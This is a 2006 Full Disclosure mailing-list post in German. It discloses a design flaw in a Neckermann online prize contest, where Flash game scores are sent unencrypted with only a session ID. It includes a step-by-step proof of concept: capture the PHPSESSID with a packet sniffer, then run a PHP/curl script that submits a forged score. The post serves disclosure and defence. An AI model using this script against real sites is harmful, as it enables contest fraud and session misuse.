Full Disclosure mailing list archives
Neckermann Welten - Online Gewinnspiel (German Travel Agency)
From: "Constantin Hofstetter" <constantin.hofstetter () gmail com>
Date: Wed, 21 Jun 2006 16:04:18 +0200
Sorry for posting in German, but its propably only interesting for those Germans out there, anyway - Ich hab vor laengerer Zeit (24ter Mai) Neckermann / Neckermann Urlaubswelt und One-Internet-Development ( http://one-internet-development.de) (Die Webdesign Firma welche fuer die Realisierung des Gewinnspiels zustaendig ist), mit folgender Email auf eine "Sicherheitsluecke" im Neckermann Urlaubswelt Gewinnspiel (zu finden unter: http://neckermann.one-internet-development.de/) hingewiesen: ----------------------------------- Gesendet am 24ten Mai 2006 ----------------------------------- .... Beim Gewinnspiel unter http://neckermann .one-internet-development.de/<http://neckermann.one-internet-development.de/> handelt es sich um ein Spiel im Macromedia Flash Format - Technisch gesehn wird dabei eine Macromedia Flash (SWF) Datei auf den Computer des Internet Besuchers heruntergeladen und ausgeführt - der Internet Besucher ist hierbei der "Client", der Webserver des Neckermann Gewinnspiels der "Server". Wenn das Spiel gespielt worden ist, wird das Ergebnis vom "Client" Computer zum "Server" unverschlüsselt übertragen - um das Ergebnis mit dem angemeldeten Benutzer in Verbindung bringen zu können wird desweiteren eine "Session ID" gesendet (erst vom Server zum Client, dann bei jedem weiteren Datenwechsel im Datenpaket beinhaltet); Ein "Angreifer" bzw. "Betrüger" kann in diesem Fall die Packete nach einem einmaligen Spiel abfangen und analysieren - beim nächsten Spiel / einer neuen "Spielchance" kann er eigene Daten-Pakete erstellen und ein verfälschtes Ergebnis an den Server schicken. Ich weiss nicht inwiefern Sie sich mit PHP / Curl auskennen, aber hier ist eine kleine Beispiel Datei (Proof-Of-Concept): Folgende Software ist von nöten: Etherreal (http://www.ethereal.com/) (oder ein ähnlicher Paketsniffer, der die gesendeten / empfangenen Pakete auf einem Netzwerkadapter aufzeichnet), ein Apache Server (http://www.apache.org) mit PHP Modul ( http://www.php.org) und Curl Libary (http://curl.haxx.se/). Schritt 1: Die Software Etherreal wird (auf dem Client PC) gestartet und so konfiguriert das es auf dem Netzwerkadapter mit Internetverbindung (z.B. Modem, Netzwerkadapter zum Gateway / Router) die Datenpakete auf dem TCP Port 80 (http Port) abhört; Schritt 2: Der Benutzer loggt sich auf der Neckermann Internetseite ein - Der Packet-Sniffer Etherreal sollte zu diesem Zeitpunkt bereits die "SessionID" in einem der Pakete vom Server zum Client abgefangen haben (z.B. "d4e8a78867921fb00bf17de30f05671e"); Schritt 3: Anstatt das Spiel zu starten geben wir die gewünschten Werte in folgendes Skript ein und laden es auf einem Apache Server mit PHP Modul und Curl Library: <?php $url = "http:// neckermann.one-internet-development.de/index.php?mod=result<http://neckermann.one-internet-development.de/index.php?mod=result> "; $punkte = "3200"; // Die Gewünschte Punktzahl - das verfälschte Ergebnis $id = "d4e8a78867921fb00bf17de30f05671e"; // Unsere Session ID $post_string = "onLoad=%5Btype%20Function%5D&punkte=". $punkte; $header = array( "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.8.0.3) Gecko/20060426 Firefox/1.5.0.3", "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5", "Accept-Language: en-us,en;q= 0.5", "Accept-Encoding: gzip,deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive: 300", "Connection: keep-alive", "Cookie: PHPSESSID=". $id ."", "Content-type: application/x-www-form-urlencoded", "Content-length: ".strlen($post_string)."", ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 4); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_POST, 1); // set POST method curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); // add POST fields $data = curl_exec($ch); if (curl_errno($ch)) { print curl_error($ch); } else { print $data; curl_close($ch); } ?> --- Das Skript erstellt ein Daten-Paket und schickt dieses an den Neckermann Server - der Server glaubt nun, dass der angemeldete Benutzer (zu identifizieren anhand der PHP Session ID ($id Wert, den wir vorher mit dem Packet-Sniffer Etherreal erfasst haben)) das Spiel gespielt und eine Punktzahl von 3200 Punkten erreicht hat. Die Werte können angepasst werden (höhere Punktzahl, andere Session ID) - Das wäre eine Möglichkeit in dem Spiel zu "betrügen" - leider kommt das immer öfters vor (ich sprech da "aus Erfahrung" :) ) und es ist wichtig die Webhoster / Gewinnspielanbieter darauf hinzuweisen, dass eine Server-Client Lösung wie die von Macromedia mit Macromedia Flash sich nicht als Gewinnspiel (mit Highscore-Preisausschüttung) eignen - selbst wenn das Ergebnis in der Flash Datei verschlüsselt werden sollte ... die Datei kann "decompiliert", der Verschlüsselungsmechanismus nachgestellt und wieder ein "richtiges" Ergebnis versendet werden. Als einigermaßen wirkungsvoll zeigt sich die "obfuscation" (zu Deutsch: "Benebelung", "Verwirrung") der Flash Datei selbst (Siehe z.B.: http://www.amayeta.com/software/swfencrypt/ ) - dann kann der Source Code nicht mehr so leicht decompiliert werden .. aber leider ist selbst dieser Weg nicht 100% sicher - mit dem richtigen Know How und einer anständigen Menge an "Freizeit" kann man auch dieses System umgehen (der Sourcecode ist ja noch vorhanden, nur verkompliziert ..); Um ehrlich zu sein würde ich die Preise verlosen (wäre gerecht, aber vielleicht nicht so "interessant" für die Spieler) - Gewinnspiele wie das auf Neckermann Urlaubs Welt sind aber leider sonst viel zu sehr im Interesse von Skript-Kiddies, Hackern und einfachen Betrügern als das wirklich jemand gewinnt der auch fair gespielt hat. Ich selbst bin mit dem Benutzernamen "Consti" im System angemeldet - und habe nach dreimaligem "Spielen" eine Highscore von "7260" Punkten - was meines Erachtens ohne das erstellen von eigenen Paketen nicht möglich wäre - Sie können also meinen Account getrost entfernen (ich hab aber auch nicht vor, weiter zu "spielen", denn ich bin mir sicher das die ersten Plätze mit diesen immensen Ergebnissen eh schon er-cheated wurden :) ). Und am Ende der Mail noch kurz zu mir ("Werbung" in eigener Sache *lach*): Ich bin 20 Jahre jung, gerade mit meinem Zivi fertig und beginne im September mit meinem Wirtschaftsinformatik Studium in Wien (wenn alles "glatt" läuft bin ich in knapp 6 Jahren Dipl. Wirtschaftsingenieur Informatik) - ich hab nicht vor irgendwas zu verkaufen oder in Rechnung zu stellen und wollte Sie nur auf den Fehler (im eigentlichen Highscore-Gewinnspielsystem mit Flash Dateien) hinweisen. Ich hoffe Sie entscheiden zu gunsten einer Verlosung der Gewinne um ein "Gewinnen-durch-betrügen" größtenteils ausschließen zu können! Ich hoffe ich konnte Ihnen das "Problem" ausreichend erläutern und stehe natürlich auch weiterhin für etwaige Fragen gerne zur Verfügung! .... -------------------- -------------------- Am 30ten Mai kam dann die Feedback mail - Die Infos waeren an geeignete Stelle weitergeleitet worden. Als am 14ten Juni immer noch die gleiche "Sicherheitsluecke" (bzw. der gleiche Design-Fehler) vorhanden war schrieb ich folgende Email: ---------------------- 14ter Juni 2006 ---------------------- ... Wie es scheint hat meine letzte Email nicht die von mir erhofften Reaktionen hervorgerufen - Die Highscore Ergebnisse sind immer noch er-cheated und wenn das am 30. Juni noch immer der Fall sein sollte werden die Preise an den besten "cheater" aber nicht den besten Spieler ausgegeben. Ich bitte Sie, es den Hackern/Tricksern nicht ganz so leicht zu machen und rate Ihnen weiterhin die Ausgabe der Gewinne nicht nach einer Highscore zu gestalten sondern unter allen Teilnehmern zu verlosen. ... --------------------- --------------------- Die Antwort darauf kam am 21 Juni (heute) und lautete wie folgt: ---------------------- Unsere Programmierer haben für die nötige Sicherheit gesorgt, um Extrem-Hackern den Spaß zu verderben. ----------------------- Nach ueberpruefung habe ich feststellen koennen das nichts am System geandert wurde und die erstellung von "fake" Scores weiterhin sehr einfach ist. Ein Blick auf die Highscore: http://neckermann.one-internet-development.de/index.php?mod=highscore laesst auch annehmen das die Scores ercheated sind (ein Sprung von 300.000zu 400.000 Punkte? - wobei jedes Spiel max 5000 Punkte gibt? erscheint fuer mich nicht schluessig -) Wenn das so weiter geht werden die Preise am 30. Juni an den / die besten Cheater ausgegeben - und der Firma scheint dies, trotz meiner Emails nicht bewusst zu sein. Ich hoffe, dass ich mit diesem Post andere Webdesign Firmen ueber das Struktuelle Problem "Preis-Vergabe-Nach-Highscore-mit-Flash-Spielen" aufklaeren konnte. Mit freundlichen Gruessen, -- Constantin Hofstetter http://www.consti.de Constantin.Hofstetter () gmail com mailmespam () gmail com
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Neckermann Welten - Online Gewinnspiel (German Travel Agency) Constantin Hofstetter (Jun 21)